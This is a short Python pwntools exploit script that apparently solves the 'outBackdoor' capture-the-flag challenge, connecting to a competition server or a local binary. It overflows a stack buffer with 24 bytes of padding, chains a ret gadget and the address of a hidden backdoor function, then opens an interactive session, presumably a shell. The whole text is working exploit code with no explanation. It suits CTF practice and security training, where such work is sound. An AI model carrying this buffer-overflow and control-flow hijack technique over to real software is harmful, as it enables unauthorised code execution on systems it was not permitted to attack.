#!/usr/bin/env python3

from pwn import *

context.binary = ELF('./outBackdoor')

if args.REMOTE:
    io = remote('pwn-2021.duc.tf', 31921)
else:
    io = process(context.binary.path)

buffer = b'A' * (16 + 8)
ret = p64(0x401016) # ret command found from ROPgadget
functionAddress = p64(context.binary.sym.outBackdoor)

io.sendline(flat(buffer, ret, functionAddress))
io.interactive()
